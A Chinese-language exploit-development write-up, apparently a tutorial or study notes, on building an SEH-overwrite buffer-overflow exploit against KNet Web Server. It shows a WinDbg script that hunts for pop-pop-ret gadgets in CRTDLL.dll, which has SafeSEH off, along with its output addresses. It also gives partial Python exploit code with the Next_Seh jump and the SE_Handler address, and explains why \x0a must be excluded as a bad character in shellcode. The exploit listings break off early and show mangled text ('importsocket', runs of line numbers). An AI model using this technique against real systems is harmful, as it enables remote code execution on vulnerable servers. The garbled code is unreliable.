根据介绍,它是微软 Windows 系统中最古老的 C 语言运行时库之一。它是为了支持 Windows 95 和 Windows NT 3.x 时代的应用程序而设计的。它已经被废弃(Deprecated)很久了。现代程序通常使用 msvcrt.dll、vcruntime140.dll 或通用的 ucrtbase.dll。但是,为了保持向后兼容性(让几十年前的老软件还能在 Win10/Win11 上运行),微软一直把它保留在 C:\Windows\System32 中。也就是说,这是一个为了兼容性保留的“遗留文件”,微软绝不会轻易修改它的代码逻辑,除非发现它内部有惊天动地的安全漏洞。CRTDLL.dll 是一个更新频率极低、Gadget 丰富的好东西,是可以利用的。
并且一般状况下,这个DLL即使是在现代系统上也不会开启保护,所以这里查询的时候,可以看到SafeSEH OFF
OK,写个脚本
1
2
3
4
5
6
7
8
9
10
.block
{
.for(r $t0 =0x58; $t0 < 0x5F; r $t0 =$t0 +0x01)
{
.for(r $t1 =0x58; $t1 < 0x5F; r $t1 =$t1 +0x01)
{
s-[1]b 1001000010037000$t0 $t1 c3
}
}
}
加载windbg
1
2
3
4
5
6
7
8
9
10
11
0:000> $><C:\Users\Cypher\Desktop\find_ppr.wds
0x10016190
0x10017071
0x1001739b
0x10017dff
0x10018119
0x100181f7
0x1001a93b
0x1001b613
0x1001c119
......
修改代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python
importsocket, sys
host =sys.argv[1]
port =80
size =2000
defsend_exploit_request():
Next_Seh =b'\xeb\x06\x90\x90'# jmp short 0x8; nop; nop
SE_Handler =b'\x90\x61\x01\x10'# 0x10016190 CRTDLL!open_osfhandle+0x9a: pop ebx;pop ebp;ret
\x0a这个在大部分HTTP的情境下都是坏字符,但是测试坏字符的时候能够正常显示,原因在于,它的行为取决于它出现在哪里。坏字符测试时是这样的,\x0a 夹在一堆字符中间(buffer = b'A' *......)。KNet Web Server 可能有一个比较“宽容”的缓冲区读取逻辑,它可能是一次性 recv 固定长度,或者在看到连续的 \r\n\r\n 之前不停止。在简单的线性测试中,它可能侥幸过关,或者被当作普通字符读入缓冲区。但是,当我们把\x0a写入shellcode,就变成了这样GET /<Shellcode> HTTP/1.0服务可能认为 GET 请求到\x0a这里就完了,后面的字节被当作了下一行(Header)来处理,而不是 URI 的一部分。所以最终结果就是虽然在内存当中能够看到完整的shellcode,但是他却无法完整的解码执行。
OK了解到所有的原因,处理这个点就非常简单了,在生成shellcode的时候加上这个坏字符即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python
importsocket, sys
host =sys.argv[1]
port =80
size =2000
defsend_exploit_request():
Next_Seh =b'\xeb\x06\x90\x90'# jmp short 0x8; nop; nop
SE_Handler =b'\x90\x61\x01\x10'# 0x10016190 CRTDLL!open_osfhandle+0x9a: pop ebx;pop ebp;ret